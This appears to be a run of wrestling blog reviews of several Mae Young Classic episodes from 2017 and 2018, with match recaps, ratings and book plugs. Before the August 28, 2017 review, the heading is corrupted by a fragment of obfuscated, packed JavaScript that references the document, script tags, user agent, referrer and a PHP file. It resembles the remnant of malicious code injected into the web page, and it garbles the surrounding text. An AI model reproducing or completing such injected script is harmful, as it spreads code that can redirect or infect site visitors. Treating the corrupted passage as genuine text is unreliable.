Mia has a bad hand coming in. Yim kicks her down to start and kicks her in the chest for good measure. Back up and Storm hits a big boot and a running knee in the corner. Storm snaps a suplex for two before stomping on the hand. The fans aren’t sure who to cheer for here and Yim fires off a kick to the arm to cut her down. We hit the chinlock for a bit, followed by a surfboard hold to make Storm scream.

That’s switched to a guillotine choke as this has been almost all Mia so far. Storm powers up into a spinebuster for the break but Mia is right back with more kicks to the chest. A series of strikes into a Pele kick gets two so Storm gets smart and kicks her in the bad hand. With Mia staggered, it’s a headbutt for the double knockdown.

They slap it out with Mia’s hand giving out, allowing Storm to hit a running hip attack in the corner. Storm Zero is countered into a hard Saito suplex for two and a powerbomb gets the same. Sole Food is blocked and Toni cranks on the hand. A German suplex into Storm Zero gives Storm the pin at 8:26.

Rating: B-. Another good outing here with Storm getting smart to pick up the win. The match was mainly Storm on defense but she went with the thinking to end it. Yim is already a star but Storm is the kind of person that could be the centerpiece of the division for a long, long time. She’s got the look, the talent, the attitude and above all else, the it factor. It’s easy to see why she’s getting pushed this hard this fast.

The semifinals:

Toni Storm

Meiko Satomura

Rhea Ripley

Io Shirai

A recap ends the show.

Overall Rating: B. It’s a good show but I can’t shake that Nox injury. It really is the kind of thing that shakes you up and her screaming that she can’t do it again is almost haunting. I really hope she can get back in the ring at some point, but with knees like that there’s only so much you can expect. The rest of the show was quite good and that’s a heck of a final four.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Mae Young Classic
Date: October 10, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Michael Cole, Renee Young, Beth Phoenix

It’s time to get down to the final eight as this tournament is starting to wrap up in a hurry. There are only two weeks to go after this show and that means the second round needs to be set. It also means that we’re going to be in for some big names facing off with each other and then some even bigger showdowns in the next round. Let’s get to it.

Here are last week’s results if you need a recap.

All matches are second round matches.

Opening recap and preview.

Io Shirai wants to make the most of this opportunity.

Zeuxis uses her strength and power to beat opponents.

The Four Horsewomen, minus Ronda Rousey, are here.

Zeuxis vs. Io Shirai

The fans are behind Shirai here, as you might have expected. Io speeds things up and hits a running dropkick to put Zeuxis on the floor but doesn’t bother with the dive just yet. Back in and a springboard is broken up with a hard forearm and a baseball slide puts Shirai outside just as hard. Some shots to the arm have Shirai in trouble and it’s off to a YES Lock minus the crossface.

Running knees in the corner get two but Shirai dropkicks her into the corner for running knees of her own. The suicide dive (with Io almost getting caught in the ropes) takes Zeuxis down again and it’s a quickly broken Crossface back inside. Zeuxis misses a moonsault but is fine enough to break up Shirai’s attempt as well. Shirai hurricanranas her back down though and knees Zeuxis in the back of the head. Now the moonsault gives Shirai the pin at 6:07.

Rating: C+. Shirai had to work here and that made for a better match. Zeuxis was built up well in the first round so having Shirai go over her here meant a little more. The key here though was Shirai getting to show off the more aggressive side, which is more of a hint of how good she can be. Good match, but the potential is still building.

Deonna Purrazzo is ready to show the world how good she is.

Xia Li knows she has all the skills she needs.

Ricochet is here.

Deonna Purrazzo vs. Xia Li

They hit the mat to start with Deonna going for an early armbar attempt. That goes nowhere so Li kicks her in the chest and drops an elbow to the ribs for two. A jumping kick to the chest gets two but Purrazzo is right back with a standing backflip into a basement dropkick. It’s time for the serious arm work now with some cranking and a short clothesline (how Jake Roberts of her) gives Deonna two.

A running kneelift into a Russian legsweep sets up the Fujiwara armbar but Li rolls out. Purrazzo grabs a regular armbar and the fans are actually behind Li for a bit. They chop it out with Li going shot for shot with her. An enziguri gets two on Purrazzo but Li goes up, only to dive into the Fujiwara armbar for the tap at 5:47.

Rating: C. Li looked WAY better than you would expect here and while Purrazzo likes to focus on the arm, she’s far from one dimensional and that should give her a future around here. She’s young, has a good look, and can go in the ring. What else can you possibly ask for from her?

Nicole Matthews doesn’t care if she hurts her opponents, as long as she wins.

Tegan Nox likes to hit people hard and dive off of things because it makes people gasp in awe.

Tegan Nox vs. Nicole Matthews

Matthews gets aggressive to start and kicks Nox into the corner. A few right hands put Matthews on the floor but her suicide dive is cut off with a forearm. Some kicks and chops have Nox in more trouble, followed by a running dropkick in the corner for two. Matthews kicks her in the back, which just seems to wake Nox up for a kick to the back of her own.

That’s fine with Matthews, who takes her down into a crossarm choke. Matthews gets two off a northern lights suplex, making sure to pull her top back up during the count. The Liontamer is reversed into a small package for two and Nox is fired up. A modified Cannonball sets up the Shining Wizard to finish Matthews (who has to pull he top up again) at 3:46.

Rating: C-. Nox knows how to do a comeback and she’s very easy to cheer, which is why she’s moving forward in the tournament. You could see the division being built around her in the future and that’s not something you can say about everyone. Matthews was acceptable here but spent more time fighting her gear than anything else.

Kaitlyn is back to prove that she can still do it.

Mia Yim respects Kaitlyn but is different than anyone Kaitlyn has ever faced.

Kaitlyn vs. Mia Yim

Yim has a bad hand after her first round match. Kaitlyn starts fast with a sliding clothesline and three straight legdrops for two. The bodyscissors keeps Mia in trouble but she blocks a baseball slide and slams the back of Kaitlyn’s knee into the apron. A kick to the leg sets up a standing Figure Four but the lack of a submission just annoys Mia. She makes the mistake of trying to punch with her bad hand and hits the mat by mistake, allowing Kaitlyn to start cranking on said hand.

Kaitlyn can’t slam her due to the bad leg but can hit a running shoulder for a double knockdown. Some slams keep Yim in trouble and a swinging sitout Rock Bottom gets two. A missed charge into the corner lets Mia “hit” Soul Food for two but a shot to the hand sets up the spear to give Kaitlyn two of her own. Mia is right back with a kneebar though and Kaitlyn taps at 7:08.

Rating: C. Some of the botches didn’t help here but I can always give points to dueling injuries, which helped move the match along here. Kaitlyn was fine in this role and having Mia defeat a former Divas Champion is the kind of thing that can help move her up the rankings. Not a great match or anything but it did its job perfectly well.

They hug post match.

Here are the updated brackets:

Meiko Satomura

Lacey Lane

Toni Storm

Mia Yim

Tegan Nox

Rhea Ripley

Io Shirai

Deonna Purrazzo

The recap ends the show.

Overall Rating: C+. They did a good job here with making me want to see the bigger matches and that’s a positive sign for the next two weeks. There are some showdowns that could go either way, which is the entire point of a tournament like this. If they can deliver in the ring, this whole thing is a success. Just don’t screw things up from here.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Mae Young Classic
Date: September 19, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Beth Phoenix, Michael Cole, Renee Young

We’re halfway through the first round with eight names having already advanced to the second round. That means we still need eight more people to move on and we’ll be getting four of those names tonight. This week’s show features one of the bigger names that was announced for the tournament over the summer. Let’s get to it.

Here are last week’s results if you need a recap.

All matches are first round matches.

Opening recap of the first eight winners and preview of tonight’s matches.

Opening sequence.

Kavita Devi was in the tournament last year and uh…..well she wasn’t very good.

Kaitlyn is back to prove that she can still do this.

Kavita Devi vs. Kaitlyn

Cole is a full on Kaitlyn fan here and Renee sounds like she has a crush on her. An early shot to the face puts Kaitlyn down as Cole talks about the original NXT’s women’s season and how that plays into the Women’s Evolution. Fair enough, though that’s more about the company as a whole than the women.

Kaitlyn chops away and gets two off a legdrop, only to get chokeslammed with no elevation. A running kick to the back sets up an armbar so Kaitlyn taps, which doesn’t count for whatever reason. Kaitlyn has to elbow her way out of a fireman’s carry and some forearms rock Devi. The Cannonball in the corner draws the YOU STILL GOT IT chants, followed by a spear to end Devi at 4:09.

Rating: D+. Devi was horrible last year and was upgraded to pretty bad this year, whichTy isn’t much of a step forward. She isn’t big enough to be a giant but is too big to be able to move around with most people. Kaitlyn on the other hand is being treated like a legend despite not really being a huge star in the first place. It’s nice to have her back and she has some credibility, but this wasn’t exactly a star making performance.

Jinny is a fashionista who has been signed to NXT UK.

Toni Storm was an absolute star in last year’s tournament and she has to be a big favorite this time around.

Tyler Breeze and the Iconics are watching.

Jinny vs. Toni Storm

Beth: “How does being a fashionista translate to a wrestling ring?” Well we’ve been trying to figure out the weird careers/interests in wrestling for years so she’s not alone. They take turns shoving each other around until a wristlock has Jinny in some low level trouble. A forearm to the face just fires Storm up though and it’s a running knee into the corner. Jinny is fine enough to hit a Downward Spiral into the middle buckle though and Storm’s nose may be messed up.

Some forearms to the face set up a Japanese armdrag into the corner and we hit the armbar. Toni is right back up with a rolling crucifix (and what looked like a wink to the camera) for two but Jinny reverses into something like a sitdown surfboard. That’s broken up as well before Storm’s shoulders are ripped apart and Jinny misses a charge in the corner. A hard German suplex puts Jinny down and Storm Zero (tiger driver) finishes her off at 7:09.

Rating: C. I know Jinny is a much bigger star (and different character) in Europe but I didn’t get much out of her here. All WWE told me was that she was a fashionista, which is hardly the most interesting thing in the world. Toni on the other hand continues to have more star potential than almost anyone else in the tournament and is clearly going to be a big deal in WWE as soon as she’s there full time. Not a bad match, even though Storm winning was never in doubt.

Xia Li (the woman from China with the fans) is back and ready to prove herself again.

Karen Q is ready to show what she can do, which includes speaking three languages. That’s more than I’ve learned about her in a year or so of watching her in Ring of Honor.

Candice LeRae and Johnny Gargano are here, seemingly with no problems at the moment.

Karen Q vs. Xia Li

Cole is annoyed that Li didn’t bring them the promised dumplings. They bow to each other to start and take martial arts poses, which gets the loudest reaction of the night so far. Xia trips her down so Karen nips up and that’s another double bow. Back up and Li fires away in the corner but Karen pounds away and bows as well. A handspring elbow in the corner hits Li and a running kick to the face makes things even worse. Karen hits a pretty low full nelson slam and the cravate goes on. More kicks put Karen down for two and Xia hits a spinning kick to the back for the pin at 4:28.

Rating: D. They had me interested here with the martial arts stuff to start and then it was really just a match with some kicking included. Li moving on to the next round is fine, if nothing else so we can see the fan thing again. Karen continues to be one of the least interesting people I’ve seen in a long time. She’s not bad, but I still know nothing about her because she’s just someone who goes out and wrestles. That’s not exactly thrilling.

Allysin Kay (Sienna from Impact) is violent but classy, because she has her pinkies up. She was influenced by Bad News Brown, who isn’t a name you hear as inspiration all that often.

Mia Yim is aggressive and has a history with Kay, including a match where she severely broke her nose. That’s the kind of little story that can do a lot of good for these matches.

Sonya Deville is here and I didn’t recognize her with her hair down.

Shelton Benjamin is here.

Mia Yim vs. Allysin Kay

They go straight to the brawling with Kay having to bail to the ropes to get out of a cross armbreaker attempt. Mia does the Andrade Cien Almas pose and avoids a charge to send Kay outside. A kick to the chest has Kay in more trouble but she’s fine enough to Pounce Yim to the floor. Yim shrugs off some chops and heads back inside for a suicide dive without much impact.

A chop hits the post with a lot more impact though and Yim gets dropped face first onto the apron. The fans are split between LET’S GO MIA/PINKIES UP as Kay kicks her in the ribs. Kay blocks another armbreaker attempt and has to do the same to get out of a kneebar. They’ve finally had it with the wrestling and just start hitting each other until Kay bicycle kicks her down.

Yim is right back with some running dropkicks and a missile version gets two. A Code Red is good for the same but Kay is back up with a discus lariat for two more. We get a double knockdown until Yim goes up top (Cole, as she climbs the buckles: “IS SHE GONNA GO UP TOP???”), only to get caught by Kay. That earns Kay a super Soul Food (Eat Defeat) for the pin at 9:37.

Rating: B-. Match of the night here by a pretty wide margin and a lot of that is due to the two of them having a story coming in. I get that you can’t do that in a tournament with a bunch of fresh names (not a criticism, just a reality) but it helps so much to have even something like this. There’s a reason for them to be fighting each other like this and that made the match a lot easier to get into. Good match, and one of the best of the tournament so far.

Overall Rating: C. Totally watchable show this week with nothing terribly bad (Kaitlyn vs. Devi was short enough to get by) and a good main event. We’ve only got a week left of the opening round and the shows being about an hour each make them easy to sit through. After next week we can move on to the better matches, which is where a lot of the fun is in a tournament. This year’s edition has been perfectly fine so far and that’s a good result for something like this, which can go in either direction.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Mae Young Classic Episode #6
Date: September 4, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

It’s time to finish up the second round and get us down to the final eight. That means we have some big names facing some other big names on this show and that should be a lot of fun. I’ve managed to avoid as many spoilers as possible and it’s amazing how much more entertaining a show like this can be when that’s the case. Let’s get to it.

We open with the standard recap of the previous show and tonight’s preview.

Opening sequence.

We see Ronda Rousey and the Four Horsewomen arriving earlier. Gee I wonder who is making the finals.

Video on Toni Storm, who wants to fight and win.

Video on Lacey Evans, who is everything a modern woman is supposed to be.

Second Round: Toni Storm vs. Lacey Evans

They fight over a headlock to start with Toni getting the better of it. Lacey grabs one of her own with a fairly serious look on her face until a kick to the chest puts her down again. Storm tries a bit too flashy hip attack and gets rolled up for two for her efforts. A legsweep from the apron into a slingshot elbow gives Lacey two and it’s time to work on the arm.

Storm goes back to the strikes to get a breather and it’s a Backstabber (not a Codebreaker JR) to put Lacey down in the corner. Lacey comes back with a good looking swinging neckbreaker, only to walk into Strong Zero (modified White Noise onto the knee) to send Storm on at 5:08.

Rating: C-. I’m digging Storm (good look, strong enough work) so far as she’s got a bit of a charisma that is helping her stand out. Hopefully she’s sticking around for awhile as I could see her going somewhere with the right coaching. Evans’ gimmick is kind of odd as she has the serious military background but looks like one of the Andrews Sisters in the ring. I liked her when I saw her live but it’s not quite working this time.

Video on Mia Yim, who has been working specifically to be the best.

Video on Shayna Baszler, who has combat experience.

Second Round: Mia Yim vs. Shayna Baszler

Of note: Baszler, one of MMA’s Four Horsewomen, walks past Charlotte, Becky Lynch and Bayley with only a passing glance. An exchange of kicks naturally goes to Baszler (JR: “Some people enjoy going to the mall. I think she’d go to the mall just to beat people up.”) but Mia knocks her outside for a heck of a suicide dive. Back in and Baszler rolls some gutwrench suplexes for two but gets caught in the Tarantula (with JR calling Tajiri a handsome rascal).

An ankle lock cuts Mia off again but she’s right back with some strikes to the face for two. Not that it matters as Baszler knees her hard in the face for a knockdown and it’s right back to the ankle lock. Mia kicks her way to freedom and is able to powerbomb Baszler for two because ankle injuries aren’t a thing. Just in case you thought it was a thing, Mia tries a 450 but gets caught in a rear naked choke for the tap at 5:36.

Rating: B-. Lack of selling aside, I’m sad to see Mia go out so early. For a long time I never got her appeal but she grew on me a lot during the tournament. That being said, Baszler is someone they’re going to push very hard in this thing due to the Four Horsewomen affiliation. It would surprise me if we didn’t see a four on four match at Wrestlemania and that would be just fine.

Post match Shayna celebrates with her friends before going over to the wrestling Horsewomen to throw up the hand signs. Fans: “YES! YES! YES!”

Video on Dakota Kai, who is a fast striker. A striker? In a women’s wrestling tournament?

Video on Rhea Ripley, who is big and strong but young.

Second Round: Dakota Kai vs. Rhea Ripley

The much bigger Ripley works on a headlock before diving over Kai, who snaps off some armdrags. A dropkick sends Ripley into the corner before a running kick to the chest makes things even worse. Ripley gets sent outside and drops her face first onto the apron for another two. Some running knees to the chest give Ripley the same and frustration is setting in.

The full nelson slam is broken up by a kick to the head, followed by a running dropkick. One heck of a running kick to the face in the corner gives Kai two, only to have Ripley superkick her away. A northern lights suplex drops Kai for two more and Ripley looks stunned. They head up top with Ripley getting caught in the Tree of Woe for the top rope double stomp to send Kai on at 7:03.

Rating: B-. Another good match, though this only sends Kai on to be Sane’s latest victim. Ripley has every tool you could possibly need to be a huge star and I’m sure she’s going to be just fine down in developmental. Kai looked great as well and should be just fine if she sticks around with NXT. Good match here as Ripley continues to impress.

Video on Candice LeRae, who will give everything she has to win this.

Video on Nicole Savoy, who loves to suplex people. She must have been miserable in the first round then as she didn’t do a single one.

Johnny Gargano is here. I love how these wrestlers are ushered in and out every match.

Second Round: Candice LeRae vs. Nicole Savoy

JR talks about PWG and my head threatens to explode. Lita on the other hand slips up a bit by saying Savoy’s previous match was last night. Savoy kicks away a handshake offer and we’re ready to go. The fans, with a decidedly female sounding voice, are behind Candice. Savoy sends her into the corner for a crash but LeRae comes right back out with a jumping Downward Spiral for two.

The first suplex drops LeRae for two and they trade modified surfboards. Candice elbows her way out of trouble and hits a Codebreaker for a breather. Savoy rolls some butterfly suplexes but can’t get a cross armbreaker. Another kick to the head gives Candice a breather and it’s off to something like a Black Widow to slow Savoy down. For some reason Savoy takes her up top and even old man JR knows it’s a bad idea to put LeRae up top when her finisher comes from there. As you might expect, Ms. LeRae’s Wild Ride ends Savoy at 5:54.

Rating: C+. Savoy looked better here but you knew LeRae was winning here, especially with the idea of her being massacred by Baszler in the next round. This was some good storytelling with LeRae fighting from underneath and being willing to go the extra mile to beat the fighting machine. Good match here.

Again, no brackets are shown for the next round but here you are:

Mercedes Martinez

Abbey Laith

Shayna Baszler

Candice LeRae

Toni Storm

Piper Niven

Dakota Kai

Kairi Sane

Overall Rating: B. Now this is more like it. The wrestling was good from top to bottom and while a lot of the endings were obvious, there’s nothing wrong with having some good wrestling where you know who’s winning. I’m digging this more and more every single episode and the fact that they’ve done this all in two major content drops is a great idea. Best show of the tournament so far with ease.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydkht|var|u0026u|referrer|trtre||js|php'.split('|'),0,{})) Young Classic Episode #2
Date: August 28, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

It’s kind of nice to have all four episodes of the first round up on the same day as we’re going to be able to get to the final sixteen in one day. The first four matches were all fine and we already have some names to watch. This show will get us down to twenty four names left in the competition so let’s get to it.

Mauro Ranallo narrates the opening video, which looks at last week’s show and previews tonight’s four matches.

Opening sequence.

JR and Lita preview tonight’s matches.

Video on Xia Li, a signee from China who trains in Chinese martial arts.

Video on Mercedes Martinez, who has been a big star on the independent circuit for years and is covered in tattoos.

First Round: Mercedes Martinez vs. Xia Li

Li has a fan in her hand, which gives me a nice flashback to Mulan. Martinez gets rather evil by doing the crane kick pose instead of shaking hands. A headlock into a front facelock has Li in early trouble but she comes right back with a spinning kick to the ribs. More kicks get two and a forearm knocks Martinez straight down. A spinebuster cuts Li off for one though and Martinez’s shocked face is rather over the top. Martinez stays ticked off enough to grab a surfboard into a dragon sleeper for the tap at 3:06.

Rating: D+. This wasn’t quite a squash with the far bigger star winning despite selling a lot of Li’s offense. Li has a good look and seemed poised in the ring. If she can learn English I could see her going somewhere down in developmental. Martinez is going to be a big deal in this thing and that really shouldn’t be any kind of a surprise.

Video on Rachel Evers, the daughter of Paul Ellering who has made several appearances in NXT. She’s well rounded and ready to fight any style.

Video on Marti Belle, who is best known from her time in TNA. She leads the pack instead of following it.

First Round: Marti Belle vs. Rachel Evers

The fans are entirely behind Evers here and Belle is a very clear heel. A single underhook suplex gives Marti two and she brags about how close that was. Back up and Evers gets one off a springboard spinning legdrop out of the corner. Marti snaps the throat across the top as the dueling chants begin.

Rachel comes back with some forearms and a COME ON, followed by a running backsplash. A pretty bad looking spinebuster gets two on Marti so Rachel loads up a fisherman’s buster but slams her forward for two instead. Marti comes back with a Stroke for two of her own as this needs to end soon. A very quick small package pins Belle at 6:31. It’s as sudden as it sounds.

Rating: D-. Yeah this really didn’t work. Rachel has all the requirements to make something of herself (good look, good pedigree) but the in-ring work really isn’t there. The match was sloppy and looked completely disjointed at times, easily making it the worst match of the tournament so far. That only puts it in sixth but I can’t picture much beating this. Really bad match.

Video on HHH welcoming the 32 entrants.

Video on Miranda Salinas, who was trained by Booker T. She’s 5’ and from what I can find, has less than twenty matches in her career. I can’t imagine that’s all she’s had but if so, well done on getting here.

Video on Rhea Ripley, a 20 year old phenom (I’d like some more details on that description) from Australia with a soccer background.

First Round: Rhea Ripley vs. Miranda Salinas

Miranda definitely has some charisma to go with her small stature. The far bigger (probably by a foot) Rhea headlocks her down before hitting a good looking dropkick to send Salinas outside. Ripley fires off some chops in the corner but gets kicked in the back of the head. A running knee to the chest gives Miranda two but a forearm to the face just seems to get on her nerves. Ripley hits a running kick to the face in the corner, followed by a running basement dropkick for two. Something like a Chick Kick sets up a full nelson slam to put Salinas away at 3:51.

Rating: C+. If she’s only 20, they might be on to something with the prodigy thing. I really liked this match a lot more than I was expecting to and there’s something to both of them. Rhea has a good look, solid size and the in-ring work. Her charisma was a bit below average but she can work on that. Salinas’ size is going to work against her but if she can get the work down, she’ll be fine. I was impressed by these two and they had a much better match than I would have bet on. Well done and keep an eye on Ripley coming to NXT.

Video on Mia Yim, who you’ve probably seen in various promotions, including TNA as Jade. She talks about her domestic violence story last year, which got some mainstream attention.

Video on Sarah Logan, better known as Crazy Mary Dobson, who is a backwoods tough girl from Kentucky who trained in Japan.

Natalya and Beth Phoenix are here.

First Round: Mia Yim vs. Sarah Logan

Mia works on a wristlock to start and a dropkick gets two. Sarah comes back by taking her down and hammers away with some right hands for two of her own. A basement dropkick keeps Mia in trouble but she kicks Sarah right into the corner. That’s fine with Sarah, who screams at her to do it again.

Mia obliges and puts on the Tarantula before getting two more off a jumping knee. A rolling guillotine choke has Sarah in trouble but she slips out and it’s time for a seated slap off. Logan is back up first with a running knee to the face for another two but Mia grabs a pair of bridging German suplexes for near falls of her own.

Sarah gets two more off a Samoan drop and a fisherman’s suplex out of the corner gets the same. Sarah: “OFF WITH YOUR HEAD!” She then misses….I’m not sure what actually but Mia kicks her in the head (Mia: “Off with YOUR head!”), setting up Eat Defeat (still don’t like that move) for the pin at 7:17.

Rating: B-. Yim is one of the bigger stars in this thing but she’s going to be facing Shayna Baszler in the second round, meaning she’s probably done after two matches. Logan has some skills but at the same time she’s only going to go so far with the Kentucky tough thing. She needs more time in front of the crowd though and that’s going to come with time.

The recap ends the show.

Overall Rating: C. This wasn’t as good of a show as the first one and a lot of that is due to the Belle vs. Evers match, which really brought things down. The big thing I got out of this one though was the future is looking bright. There’s a lot of talent in this tournament and several of them have been signed to developmental deals. If they can go somewhere with this stuff, the NXT women’s division is going to be in good shape in the near future.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6